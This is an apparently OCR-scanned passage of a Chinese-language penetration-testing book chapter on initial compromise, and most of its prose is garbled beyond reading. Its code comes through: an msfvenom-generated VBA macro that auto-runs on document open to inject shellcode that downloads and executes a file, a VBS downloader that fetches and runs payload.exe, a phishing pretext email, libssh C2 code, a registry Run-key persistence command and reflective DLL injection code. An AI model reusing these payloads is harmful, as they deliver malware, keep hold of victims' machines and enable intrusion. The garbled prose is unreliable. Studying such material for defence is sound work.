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LRI B I . BRIl BTN S BB B Ry 50, gt 2
AT — e

1.3 Bl fE i s —3 5 Ao VBA B2

VBA(Visual Basic for Applications) &% & i) Visual Basic ZmfE1E 5 1 —iB5. E#
et i A Word Fl Excel "7, LUME H 3 AT B S BRAE A A e SO a4 B0 HA 4%
. VBA Z—T1GARMIETS, HERE 2 AMLFEIEA Windows API 78N IFMHEE. K,
B T UK ) oL RS RS LA 21 A, Tl Tk e R FH e AR 22 AR IR 45

VBA ZHR A AR B AT I —Fp 7 AT IR 7 s AHIX RN A & LL DAEAT
T HE AR AE R T » A, Microsoft Office 2010 A2 5 FIBIARIAS BRIANAN X 234 TE 3L
FRBNE e EPHIRNAG . B, B BRI S EAS R, TR
SN RIAT RS s FLC TR AN 1 1) A FH A o AR B AR 1) T 235 R AT 1R AU o

FEAA R, FATRE A — N ENN H AR$T I+ Word B8 Excel SURS IS0 T BCi 48047 1R %
Hres® . BEMSSIBUEAS H M X 2R, HE LR EN 928 H Metasploit HEZE (1)
msfvenom T H ARG o JRIMAR T AL, 30— PR FRAN AN BEIX A M 58 6 - 481

1.3.1 Wi@ARAE) VBA WE

msfvenom (1) H (12 B REWSAE T 2 (°F- 4 _ER T I g s i i 2t 28 B shellcode ®——
IX L HR & Metasploit H CLHICHE, R Metasploit H A A B 5 ) ] $hAT SCHFE52E =5
AR . FRATRY G218 Metasploit PIALEEFESY, "CATMSRIUFISS s, (H H 37 &A1k
SRR N . msfvenom T HAEME T —FhDjRE, nI LKA shellcode B
HEH g ts 16 77 2k H B VBA A, X2 VBA IR BEAE 4% B 5\ Word SCRS H (AL
H1-1) NI 2 00— Refe M URL 4k F 3 4U4T Windows AT HATREIT ] VBA
JHIAS o

REZEE 1-1  msfvenom 4 B HY VBA 7={L83

root@wil:~# msfvenom -p windows/download exec -f vba -e shikata-ga-nai -i 5 -a x86
--platform Windows EXE=c:\temp\payload.exe URL=http://www.wherever.com
Payload size: 429 bytes

#If Vba7 Then

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zdz As Long, ByVal
Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe

@ PEHTE: Microsoft Office BRINMIZ W E A “AEHBTE %, JERH@M”,

® BEHE: e (stager) U AT /NREIR HLARR PI5E, MiB@ IR o BOhaA K/ . I8BT4 BRI, T BLZedh,
AT AR A Tt — 20 R BBl B T AT

® B#: shellcode /& 7EBBMIR IS F b Bk #imr 1847 M — AN 2.
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BEMNEEF ITEREERNRTEME

As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long,
ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr,
ByRef Und As Any, ByVal Issacgbu As Long) As LongPtr

#Else

Private Declare Function CreateThread Lib "kernel32" (ByVal zdz As Long, ByVal Tfnsv As
Long, ByVal Kyfde As Long, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long, ByVal Zeruom
As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As Long

Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As Long, ByRef
Und As Any, ByVal Issacgbu As Long) As Long

#EndIf

Sub Auto_ Open ()

Dim Hdhskh As Long, Wizksxyu As Variant, Rxnffhltx As Long
#If Vba7 Then

Dim Qgsztm As LongPtr, Svfb As LongPtr

#Else

Dim Qgsztm As Long, Svfb As Long

#EndIf

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125,
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119, 38,
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235,
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106, 31,
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123,
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106,
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141,
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116,
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255,
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119, 46,
98,111,98,46,99,111,109,0)

Qgsztm = VirtualAlloc (0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffhltx = LBound(Wizksxyu) To UBound (Wizksxyu)
Hdhskh = Wizksxyu (Rxnffhltx)

Svfb = RtlMoveMemory (Qgsztm + Rxnffhltx, Hdhskh, 1)

Next Rxnffhltx

Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)

End Sub
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Sub AutoOpen ()
Auto_Open
End Sub

Sub Workbook Open ()
Auto_ Open
End Sub
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R Fila darfification

A SN A R R S T T

ShAd Ackold 241 Olaten 7 St | Dubd P 8 | Bloe

A TR T P T D T D T TR L S A

frere) AR PTD A S AN L Ot | UL = Y TLEighvenlUB 1 Sl vk 3R AA
il TH bl bl T L TR

ik s 0.0 T [ SR By

File tpgen D s WAL Diminsrvmiesl

[T i dehven date, & hadal o2 0 16 axteact

THl Wil bt P e WML, Fioevviit hoarn s el Bllincv] 50 )
Wil Mot O Oy WML Fromrraill cimcosemmed. (3. 17065
I perpr R 1 5]

Tags [ hein | vt e | st L it | s | o8 J v | o e

B 1-6  FhHinfs R

1EFE] 1-6 1 Tags X341 ] LU 2 FATT 85 K1) 0] 3 : auto-open( H 34T 7)1 code injection
(FABEN) o AT ATIXBL VBA AU, & BE A LeA T4 LU 2y B Adr il 3 IR Ak o 4n 2R
FHEHNTERF I H AR ST AT 1 SOR B T S iR 2, ABIRATH H AR 202 S 2 A6

FAKT 0.



15 ETcCRIIREMN 9

13.2 #% VBA KHG

1E R B WS 2 FeAT T T LA 3] 3 N M kernel32.d11 H S5 N BRI £ . X 26 bR 5010 H ) A2 £
HEFE, A shellcode 73t N A7 FFHE shellcode HN#EI P2 BC M W A7 e b o SEFs b, B4T7E
A A R B TR AR A S WA S H DR T5 Ko DRI (CE 18 21X L2 1)
REAEHE shellcode NI EEVE), “BXATT IR AR I8 A2 LA fink A 8 e A (sl

Private Declare PtrSafe Function CreateThread Lib "kernel32" (Byval Zdz As Long, ByVal
Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe
As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hflhigyw As Long,
ByVal Zeruom As Long, ByVal Rlzbwy As Long, ByVal Dcdtyekv As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Kojhgx As LongPtr,
ByRef Und As Any, ByVal Issacgbu As Long) As LongPtr

ATER, VF2 W RS AN 10 o B0 WA 20 i O AR A X R
PRATEL S NI RR EdiR e — Dl 44, Bl

Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal
Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle
As Long, Coupxdxe As Long) As LongPtr

H B AR A FO X R 2 1 ) 44 o IR RS LG TR 38 Uk 1 2 g R 4 R )
(Microsoft Endpoint Protection) £t PN [V 2 SO BEFE U T %

1.3.3 & 5{EFA shellcode
i F shellcode BEAT Y AR R AER], (HAR A Z) piAa i 21 .

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139, 4,
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _
7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _
49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _
79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _
59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _
86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _
255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _
232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _
2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _
76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _
45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _
91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _
49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _
99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _
98,111, 98,46,99,111,109,0)

A LLR A 207 Gl 2 YOk shellcode EATHMAS, (RIEE ALl O R AR
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AE P AR TR RERFAE T o o R O 3 SR e T — MR 21 shellcode M5, “F-
TR (B A I A A G 5 s 32 A T A2 AT T SAGE 0 N RE R 30) 25 b S 5 i 79
AEHATRE, JF R 2l — A shellcode i, BEAN, IS 75 B RENS HE 2 1F i FRIACAS
(B4% shellcode) 3% 2 RN FLAEAT G IE A1, SXAE G ik O AN T —— SR 7 8K
PHRE T AL AL H K o msfvenom JEI i (L UK FE A TEHL T, PR FE T I 2 A
BEHEAT B —A VBA A, HIXX] APT G ULHUR AR S AN H AN ]
(K15 GBS (B il Base64 745 H3) 2 AIAT K], (HIXIFANAL LABEAR S 25 1 (R A
R, PO AMES .
BRI B AU T s ORI

Qgsztm = VirtualAlloc (0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffhltx = LBound (Wizksxyu) To UBound (Wizksxyu)
Hdhskh = Wizksxyu (Rxnffhltx)

Svfb = RtlMoveMemory (Qgsztm + Rxnffhltx, Hdhskh,

Next Rxnffhltx
Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)
¥ VirtualAlloc. RtIMoveMemory Fl CreateThread %5 A EUA S st AR AT %€, Kk, TGig
FAR AR AT TG % A il R SO FE AT o BRILZ AN, BEAL AT A T 2 78 3 W R N 25
R A shellcode BUihiZdifir, X L8 pR o Bebric ok

1.3.4 BT E

T O 1 B i — s H 314 T T (auto-open) I BE (I FE AT, 2D BT LA DR VR 1¥) %
R P AR AN LR . BT A =MAR RSSO T2 isAT
IAES & Word SCRY. Excel HLFRMIL /& Excel TAE®M . XBACTE A 13X =0 75 v PAARAIE
TEVC PR G BIRAS B R, e Bl he . [RIRE, XFEMORAG BN, 1ENZEIFRAN
T, RN ENE B ORI S IB AT AT A S

A5 B BT B TR 254 Word T H]

Sub Auto Open
Main block of code
End Sub

AN PR Excel 1 H 157 #.1R [F1 2] Word ] Auto_Open PR 4.

Sub AutoOpen ()
Auto Open
End Sub
and
Sub Workbook Open ()
Auto_Open
End Sub

@ HHE: JRHRAL(virus signature)il # LSRR 1 LA ST P81, SOWREGCEF A FCRFIE PR A7 8 TR0 B AR B
YRR 52 FO 7 o
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A — Rl QL ZFT I FREP AR AT 5, AL SRR LT 18 S pbsac thok . AUMIER 5
IS Word  SCRSF) R K50 FH AL RE 7 B AR B BERR A ) i b 2, 38 = R BN B m] A
EUNE SR St s 7 1

VBA AL S8 SR VE S A ACELIBC R T PAAT A 1 5 7 e A (1 Gan Shell Al
URLDownloadToFile p&%55), (HURIATNIA TG BUKIISFE, 388 o8 200 s [ A 1 i) 7l——
EAURATBEIF B SO me A hric .

H1F MS Office 7482 KW LK TS BBy, PRI SO #328 RURAHRil
oot el bk, BATHEEACE . WARAT T AATEAM shellcode, A
72 VBA 3l N AN AT AU 3 RE O E Bl i 2 R AT ?

1.3.5 {&F VBA/VBS X{Liai2e

AT DLTE Sk AL B 2 20 M8 A R 43 SR AR ke b ) . ] Windows A7 2= (Windows
Scripting Host, WSH) [FIFf /2 Visual Basic i 5 H— 14, 5 VBA HAEAE Office SCFY
HEF AN, VBS f&—Fh2& 48l Python B, Ruby M JIAIE T - VBS #i 114 LA BB L L
& MS Office SCRY N B A HATHLL D) B E A3 2 TS5 DR, OB EFR AN VBS Bz
Emfi%£. 5 VBA —Ff, VBS &R ARG R T, SLACRE ] LA — AR SOA
SO B, — RS eI AT BeE A Oh : SE AN VBS Mgy, & ELOF
TN VBA 74484, # VBS BGldus B AT JEeLIREe WX TAER i VBS
A2 58 e SUEAT T EAE VBA JIAHF ] Shell B&%, (HIRAIIEBAT S AT A Aol n] ¢
MARHS, e 25T Windows JIATE ¥, 5 RRAE RGP AT H 1) —T8 5. Bk, S
KT T ZEW AN EA———A VBA JHAFI—A VBS IA—I HIX AN A A 4%
BRI R . PATIX T4 VBA Z2R 2 KBUE A F .

Sub WritePayload()
Dim PaylLoadFile As Integer
Dim FilePath As String
FilePath = "C:\temp\payload.vbs"
PayloadFile = FreeFile
Open FilePath For Output As PayLoadFile
Print #PayLoadFile, "VBS Script Line 1"
Print #PayLoadFile, " VBS Script Line 2"
Print #PayLoadFile, " VBS Script Line 3"
Print #PayLoadFile, " VBS Script Line 4"
Close PayloadFile
Shell "wscript c:\temp\payload.vbs"
End Sub

1.3.6 RERFRFRIBEVER

X LR . AE B— R, SRART “ B —RAOHEUE, E R, RaE
PREFACHS I FH I af Ab 2 s MR B 11 5 M Microsoft Windows 484 AppleOSX Hf, N 77 %
WA FEATAR A P48 2o

Wt VBS AR5, 7E print 8 H 3 A DUR A AT LR T B IE 1 Bty

FAE, Uk
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AE AR U — P BB R, AN RORE R 53 AN sy 5

HTTPDownload "http://www.wherever.com/files/payload.exe"™, "C:\temp"
Sub HTTPDownload( myURL, myPath )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
If objFSO.FolderExists( myPath ) Then
strFile = objFSO.BuildPath ( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1) )
ElseIf objFSO.FolderExists( Left ( myPath, InStrRev ( myPath, "\" ) — 1) ) Then
strFile = myPath
End If
Set objFile 0bjFSO.OpenTextFile( strFile, ForWriting, True )
Set objHTTP CreateObject ( "WinHttp.WinHttpRequest.5.1" )
O0bjHTTP.Open "GET", myURL, False
ObJHTTP. Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )

Next
objFile.Close( )
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run "c:\temp\payload.exe"
End Sub

AR, AL iz VBA AU I NS REMS AR PR & R B, DR e s AR AT B Y
Wt A REAT BT SRR . (AR, RGO E LR R Bl e AT LT
BIFPAT AT AT SO ATELIERL shell #r-41H] Windows Mi#ir )2 ff TR, fE—fTdrdh
BEATIXM AR, ERACEE XM 7 A A VBA #E VBS JIAC AR

1.3.7 KIEEa

RIS R 77 XA 2. fEIXAM b, AT TnT DA SO B 4 o4 Base64 6 A IAE
BN BRSO AR RS, XA O7 R RAS, IA AR . AR, iR kR 4
Vb N A SO 18 80 B, FEI8 A ) B HCUE R e A5 B I, A e
PR BE TR BRI HE s AR 1) =

X BACHE AT AR 3 — IR IE (. 8] XOR BRI BLARTRASHE UL AR 46 E 4P 5
T PEAE R SRS I e T 5, BRUOAKAR 2 5 W RO s AR i, (ESERR EAREE 1)
AR R BATHE

AT VBS B S ] VBA ZEdn A, WLECEA I SO B AR T R I . thid
AL VirusTotal B, 5 R anl&l 1-7 P,

SHAZSE BOTEOSOGS0EaE T 188G S0E ML A SE SalSAIDNSES 1 hall 1 ¢ ST NG 6

Fil R WAL SN BASE R paryinnd doem
Charbanr By ity

AR AR SIEJI219 1206 52 UITC [ O misiass g0 )
B 1-7 B st

I 7, (52 VBS Bl #AT s AMER S 2B 12 K 1-8.



185 ETcERNREME 13

EHAIRE el AT ok fa il 1o TSR0 b d Tea K5 08TATc IS a8 el THAR T O TS

File mams payioad vos

Dedechon rabe: 17 5¢

Annbysis dain A0R-02-19 121028 UTE | 1 mimuba ago )
B Anabysis O Addiional sfcrmabion B Commants 0 olas
Antivirus Result Update

Iﬂmm.m WIS s oan 33 HNE01H
& 1-8 A7 360 AN 45 R

AT HE AT T 360 KrIHK T o 7508 360 & [ [ —FK v se ey, I S
fCH o FRICET RN UL X ki gy . ¥ %ASFRIC A virus.vbs.gen.33, #f)ifiil, #F
I 360 23 4UATAT VBS SCA A B % 53X n] g e H P A48 F 7 1% 360 I 25 i@ 3 1) — > ) .

BIHAT R I, FATEBRA AT AR P 3T I SRS I il AT L] o

1.3.8 SIEAF
PRI I R B, AR EWAE I “ AT IR ThRE, T IR A EAR
HI P — IR 4 AR IR A IAT, TBA B BMATE 5 S0 G HE— 5 058 AR IR IE R 4T

FIAG . 250Kk UE, AT B AE Microsoft Word 4T FF 5, JFEBLSS FH ™ i S hi
K 1-9 Fros .

1) Sororily Warsing  WSSELREE BA5S UL LRSS CH

1-9 HIAT AR A SO 38U 1R 25 1 SR

AT, RARE? — A AR IR, I O 51000y < e
TR ARMEIES, BWEREA R TTEE, AFEFFOEXRMEE . T
AR (FITEAE B AT LERRAC 1, DRG0 B AR AT I e —— T Lk 7 R4 T
FRATTIACHS S ik SO AR A R AS B RS ) o B 2 BRI, a2 the TR
Ao Ji o A I NAR AT (1 L1 W (B A6 0 30 L A e 8 0] e B 22 A R0 H A



14 BENAEF TEEEEINREME

S it v 2 ) B

A TR BEIRZ . S8 v LIRS0 « KRR e s B 10 (R Im It 2R )
(Wiley, 2002)5% Chris Hadnagy £ 1Y) Social Engineering: The Art of Human Hacking (Wiley,
2010).

L FRAT T AL 38 TX A 1) — A T4

— B H AR AT SCR I I8 2 e 7 X —— RIS 3 Y 23 5 LA AT T 1 IEPAN
5 IRE R MATT, XEE N BN TARANALE B T ARX LN 0] B ik AT TSR A A 3
B AWK L Y ] BE S i T AL T 3. i TR IR v g ik A B R Sh g, FR
ATV S AR A0 A A 5 e 5 N B B AR R 4G AT o FRATRE — NI &
A% Kk NI %5 Jonathan Crane #1 “As/N0y” &k i%%5 Jonathan Crane {8 - R HB4F .

A Dr. Jonathan Crane

KA ohAk o BB R

EM: M- R

B,

WA R R T HEESTHRNRITRBEGER L L, LRI BN TS, £5H
FA TP BT iR, R ARA R A F L, (22 RATE AT A — AT AR AR E—RR
ABREFR, WEMRIAT G LK,

BT

EENIN

B IHBEROALIATT 20 %, BERTHIFMAES “arkham”,

XEIE A B Crane L ATRECAAEA A CMA F AL M
AR

LT IR PRI B A 2 T 248 2 Sk, Wil 1-10 i

PLAEAR ) F P 8 FH 2 Ja 4T TF B SORS TR I — AN SCAHE R — AN ATTHE VBA 7446
€ BN b, IXFEAVE L 1) SCARE AT 4, R 2, A AT . #
FH M EHES BRI R Hbs SN A1, I BICH T 2 AT A # el
B [FFE 4R

XA 7 2R o) — I Ak (BB B O B R S A A MR AR 7 48 ) B AR A K T BRIE R
MR Rk FH BT TAE NG, BN AA TN —FF U SEAS A% B 43 SO, AN A2 2

BN — AT A B R 2908 B — ML R Z AR BISOR Y, IR ERAE A s
R E A BRI S, BEERAT R

(1) #%F Ctrl+F9 4148 h N — Mk

(2) TEAZIRI A ESE S 2 1A% AN 257 MacroButton, 37454 A AR BZ H4 6 $AT IR fir &
LR .
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Note: This document requires MS Office Macro functionality enabled to provide l_:_l"ﬂ:_l‘t__EH@
document security. Please enable macros and enter your password in the field below.

Kl 1-10 A ANfER—L



16

BEMNEEF ITEREERNRTEME

(3) FARAUE RSO BEE A sk ARSI Ao
(4) % F9 Bt W7 58 e i3k
PR VE2 2% FEAE WritePayload() 1~ B& B s fr R N R T —4 78 f) -

MsgBox "Incorrect password. IT security will be notified following further violations by " &

(Environ$ ("Username"))

R Al AR s A s U EE, R S g s e 4. 1
XA N E T 7 g8 IR BE 7 R DA% 38 U A

1.4

oA P Ry . JERR IS i

TAC & TS IEEEATIN T, BN R EOA T M LB A N 2. fEA
A, AT S 25 H(Command and Control, 2C)FEA e i T s I FEARZ 2 . A0
B —FEAEX H bR SC IR IBIE Jo BB s HFr di AL URAERIIS N C2 JEmliaso it (1) 2 fig DA ik
K3 APT # DR L BRI IR . AT HIERNANIR, BRI IRAT e X C2 Fefiliise i 7E
B 2 5 N A R A g

A ) R —— BAT I TR A B C2 iR S5as i fE )y, TR U &
BT KBTI

Bl P ——RE A% TR G T AU T 19 8¢ (1 N ARSI R 8 RO AR U

TR ST R GV I ——REMSIE SO S M B B I L I Mz Les IS0t
TR iy 2 AT ——BERSAE R IR I M L s L AT AU el £

AT WA A AR C2 5545 2 18] (R BT AT I 228 7 A0 AR e A b A
BEATINE

FF AT BT A L RS .

St 1 4 e —— A1 1 i B e A 3 A A s 1) S AL e e A X0 1) L [ o

PR LR L0 2% o W7 s A S S DI, RERE A R T 5 C2 iR 5543 10
P

LRI FE— AL . BRI A Ve, 5 ) SR EE i A S B 7 U

24 N2 TIRER) SSH Pl IR A DI 73

C2 g 254 A B B ——#%

IRy HAT UL R HARE K

C2 fR%5 =5
® {F TCP 443 ¥ [ 1iz4T SSH %5

B TR B SSH k4% #3114 chroot jail®

® P chroot £ Unix F Linux PRI — N RGN, 4 FACR BRAIASCIE RS H SRR TR, 3% T
Wi A chroot jail.
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17

o &0 SSH AL 'E LISz Frmfe e A bg i
W Hfer

® {EAEFRYE TCP ¥ [ - SZEE SSH w4544
o SIILREMLIERIR C2 M4S#511) SSH % ) biiy

o it SSH &) iy SN SSH BEIE (A IR, fovF C2 Uiinl HARSCAF RS RIS

AR FVARAE FH C #5751 libssh FE(https://www.libssh.org/) K S El B 404 i 35K
libssh JE REANEE AEH A% IR A QRS HEPE BEM T I SR S 1 » 12 PRI K S 35 ol D AR BEA T 3R P T A 1
BT HTARZ PG # S RE libssh, PRUILARAE A & 8E — MR INESet 7T T Windows.
OSX. Linux 8¢ UNIX &G M. b T 2561 Ui W] libssh APRAENE, T IACID RS S B
—ANMZATAE TCP 900 ufi 1 [ [¥) SSH M55 #% o X BARRS A2 LA, —ANAIE T ) SSH %/ i

SREH I A RS AR A )

#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

int main ()

{

ssh _session my ssh session;

int rc;
char *password;
my ssh _session = ssh new();
if (my_ssh _session == NULL)

exit (-1);
ssh _options_set (my ssh session, SSH OPTIONS HOST, "c2host");
ssh options_set (my ssh session, SSH OPTIONS PORT, 443);
ssh _options_set (my ssh session, SSH OPTIONS USER, "c2user");
rc = ssh connect (my_ssh session);

if (verify knownhost (my ssh session) < 0)

{

ssh_disconnect (my_ssh session);

ssh free(my ssh session);

exit (-1);

}

password = ("Password");

rc = ssh userauth password(my ssh session, NULL, password);

ssh_disconnect (my_ssh session);
ssh free(my ssh session);

}

N RS A AN R ) SSHR 55 4% SE 491«

#include "config.h"
#include <libssh/libssh.h>
#include <libssh/server.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <windows.h>
static int auth password(char *user, char *password) {
if (strcmp (user, "c2payload"))
return 0;
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if (strcmp (password, "c2payload"))
return 0;
return 1; }
ssh bind options set (sshbind, SSH BIND OPTIONS BINDPORT STR, 900)
return 0
} int main () {
sshbind=ssh bind new();
session=ssh _new () ;
ssh _disconnect (session);
ssh _bind free(sshbind);
ssh_finalize();
return 0;

}

s FR TR 52 A A S Ji) e -

rc = ssh _channel listen forward(session, NULL, 1080, NULL);
channel = ssh channel accept forward(session, 200, &port);

libssh JEH B T V122 S 5 A B e ok s HLIZE 4 1 A IR DL
IEARME— RA I D RE 2 FF ANE . CRUEZCEE 207 71 Windows FREEH IHF AMER 77 UF
ZM, BAVKAET — BT A AR R BIOE A R ], FRANHESE A S
WG RHIXRITE, B EJLPA R &R, i C il 5T
char command[100];
strcpy( command, " reg.exe add "HKEY CURRENT USER\\SOFTWARE\\Microsoft\\
Windows\\CurrentVersion\\Run" /v "Innoce

")

system (command) ;

iR A SyEdlsE et ot i 1-11 R
MR T LFIC2
(ISSHF P i 4 E

: i‘w] HERT fesh

( )
fir 5§ \xkdx vy
HC2) —T
FETE PG e aG Ay iR mSFTP % - WoC 2 i 3 s A il
EiER, 1T S RN ISSHALE 221 [ B

HITdhi iAW i
ERILE e R
B 1-11 B I 4 S Rl vt
A 7R o, T AR R 30 2 45 4 B P 3ERE SRR 58 4 U 1) B BB ) 3= M. mT
PLYE SSH P8 I8 ] SETP(Secure File Transfer Protocol, %24 SCAEAL HbS) 8l S %

© BFHE: ALY (Secure File Transfer Protocol, SETP) #& SSH BMSURKI—#4), & FF SSH Bl 242 Flik
TELIRE, St e 2 i) SO ALy 2
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o R JUATIRAINE] C2 EHLH/ete/ssh/sshd.config SCAFH,  DUE B ok 3804 8 37 30
BEIE .

Match User c2user

GatewayPorts yes

FREE TR EAL, CESRBGEENT Y C2 Z MR AN R W R, B YESF
—MERCEREREIE), It RO REAC B — S ML Bk ey WA RE At
B W T DU (WA A5 5 A QR R 55 s EA T B A S A (e o 5 D0 1 B B e
Fefpe Ak, EART G, AT C2 Bt vtk Ak ). BIRe. Bl HARS R .

1.5 Yl

FATLA— AT IR ELATD (5 8 1 2 o A 3 e o 38 (K 0k, Al i e
ViR HAR AR, o AR1, FRATHIRI R AR E AL, BV U7 1) SR I A8 B8 e % LARAR

AN, BATIINK H RS AT MK TE(Internet Explore)il o dy, I3 & 15 ]
Pharmattix [ Ruti, 1228 5] ASCERE AR & o JAiTmr DU A8 B 10 sk A R SR B A= 1Y
Vil e, AEXIFANREAR GOSN ZOATE Al . P A4 M R A e — 38 23, Ui il
PRy e R s BT A R R, o LA UAE % N s B AT DAAE AR 12 T A a2 5
A5, e/ BB CE RE R MEE SHERG ), SR, XA APT &5 A
FTREAEOR DL, T HL 2 AR AT REAN S HEA] o

i3 HHHNIE

IR IRATRENS 58 2561 B O3 N UENLHIWE ? FRATTRA S REMLEY | IX A AR Ay 0 U s kA
Brati——A5t b, FAi 1 Uy i) H AR AR R B A 30 B8 e Ak R A R, 33 1R T A/ s
AR R 7 B TRAT JAEUARS FR) <1

AT ZARLL R = A2 LA SE AR ) Bt -

o [y n) BT i R W TE BERR i AR

e JLT Microsoft Winlnet W 27422 [ (Application Programming Interface, API)

% —> Web QL8255 #2 4 (Dynamic Link Library, DLL).
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MrE—: ShiSHEHEREEAN
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(3) 5 DLL &I 20 H bt R i A A7 b o5 A8 S K A A7 bk

(4) 1678 HAsREREAT IR 1K) DLL

DA P gR e R F— N HE Windows APL AT PRI 5% o

AR BEFEMHERE

hHandle = OpenProcess( PROCESS CREATE THREAD |
PROCESS QUERY INFORMATION |

NERF

PROCESS VM OPERATION |
PROCESS_VM WRITE |
PROCESS_VM READ,
FALSE,

procID );

PEREF

GetFullPathName (TEXT ("proxy.dll"),

BUFSIZE,
dllPath,
NULL) ;

hFile = CreateFileA( dllPath,

GENERIC_READ,
OV

NULL,
OPEN_EXISTING,

FILE ATTRIBUTE NORMAL,

NULL ) ;

dllFilelength = GetFileSize( hFile,

NULL ) ;

remoteDl11Addr = VirtualAllocEx( hProcess,

NULL,
dllFilelength,

MEM RESERVE |MEM_ COMMIT,
PAGE EXECUTE READWRITE );

N DLL F#E R it
lpBuffer = HeapAlloc( GetProcessHeap(),
OI
dllFileLength);
ReadFile( hFile,
lpBuffer,
dllFilelLength,
&dwBytesRead,
NULL ) ;

WriteProcessMemory ( hProcess,

lpRemotelLibraryBuffer,
lpBuffer,
dllFileLength,

NULL ) ;

PATIEAT HAR L L7
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dwReflectiveLoaderOffset = GetReflectiveLoaderOffset (lpWriteBuff) ;

AT IE DLL {855

rThread = CreateRemoteThread (hTargetProcHandle, NULL, 0, lpStartExecAddr,
lpExecParam, 0, NULL);
WaitForSingleObject (rThread, INFINITE);
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fE45. AL, ©HATEHL Web JME 20 HTTP ARBEAEM SH AT A Thfe. T
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BEIEFR 1) H AR 1234 3 1 A1 C2 IRk 5 25 (1BE 4 TCP 4321 i 1) AN a8 1-12
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